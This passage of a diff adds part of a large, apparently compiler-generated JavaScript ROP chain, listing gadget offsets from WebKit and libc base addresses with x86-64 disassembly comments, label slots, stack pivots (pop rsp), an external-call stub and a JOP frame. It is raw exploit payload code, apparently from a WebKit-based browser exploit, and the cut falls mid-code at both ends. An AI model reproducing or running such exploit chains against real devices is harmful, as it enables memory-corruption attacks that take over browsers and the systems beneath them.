+webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+152680, //L2188 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+152632, //L2185 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+152664, //L2187 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2185: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2186: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2187: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2188: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+152776, //L2190 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+152760, //L2189 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2189: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2190: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2191: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2192: +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+152984, //L2193 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+153016, //L2195 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+153000, //L2194 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2193: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2194: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2195: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+153120, //L2197 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+153136, //L2198 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2196: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L2197: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2198: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2200: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L2201: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+153296, //L2204 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+153280, //L2203 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2203: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2204: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+153440, //L2208 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+153408, //L2206 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+153424, //L2207 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2206: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2207: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2208: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+153512, //L2209 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2209: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+153568, //L2211 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2211: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+153664, //L2214 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2213: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L2214: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+153768, //L2217 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+153752, //L2216 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2216: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2217: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+153928, //L2220 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+153960, //L2222 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+153912, //L2219 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+153944, //L2221 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2219: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2220: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2221: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2222: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+154072, //L2223 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+154104, //L2225 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+154088, //L2224 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2223: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2224: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2225: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+154192, //L2226 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2226: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+154248, //L2228 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2228: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+154336, //L2231 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2230: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L2231: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2233: +db([40, 0]); // 0x28 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+154480, //L2236 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+154464, //L2235 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2235: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2236: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+154624, //L2240 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+154592, //L2238 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+154608, //L2239 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2238: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2239: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2240: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+154720, //L2242 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2241: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L2242: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+154824, //L2245 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+154808, //L2244 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2244: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2245: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+154968, //L2249 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+154936, //L2247 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+154952, //L2248 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2247: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2248: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2249: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+155040, //L2250 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2250: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+155096, //L2252 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2252: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+155192, //L2255 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2254: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L2255: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+155296, //L2258 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+155280, //L2257 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2257: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2258: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+155456, //L2261 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+155488, //L2263 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+155440, //L2260 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+155472, //L2262 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2260: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2261: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2262: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2263: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+155600, //L2264 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+155632, //L2266 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+155616, //L2265 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2264: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2265: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2266: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+155720, //L2267 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2267: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+155776, //L2269 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2269: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+155872, //L2271 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2271: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+155928, //L2273 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2273: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2275: +db([16, 0]); // 0x10 +set_gadget(libc_base+768796,); //pop rax +//L2276: +db([16, 0]); // 0x10 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+156080, //L2277 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2277: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+156136, //L2279 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2279: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+156256, //L2282 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2281: +db([32, 0]); // 0x20 +set_gadget(libc_base+772328,); //pop rcx +//L2282: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+156360, //L2285 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+156344, //L2284 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2284: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2285: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+156504, //L2289 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+156472, //L2287 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+156488, //L2288 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2287: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2288: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2289: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+156600, //L2291 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2290: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L2291: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+156704, //L2294 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+156688, //L2293 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2293: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2294: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+156848, //L2298 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+156816, //L2296 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+156832, //L2297 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2296: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2297: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2298: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2300: +ropchain+156952, //L2299 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+86896, //_create_extcall +//L2299: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967264, 4294967295]); // -0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+157040, //L2302 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2301: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L2302: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+157144, //L2305 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+157128, //L2304 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2304: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2305: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+157288, //L2309 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+157256, //L2307 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+157272, //L2308 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2307: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2308: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2309: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2310: +jop_frame_addr, +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+157432, //L2312 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2311: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L2312: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+157536, //L2315 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+157520, //L2314 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2314: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2315: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+157680, //L2319 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+157648, //L2317 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+157664, //L2318 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2317: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2318: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2319: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+157776, //L2321 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2320: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2321: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+157880, //L2324 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+157864, //L2323 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2323: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2324: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+158024, //L2328 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+157992, //L2326 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+158008, //L2327 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2326: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2327: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2328: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2330: +ropchain+158128, //L2329 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+159008, //L2331 +//L2329: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967264, 4294967295]); // -0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+158256, //L2332 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+158288, //L2334 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+158272, //L2333 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2332: +db([0, 0]); // 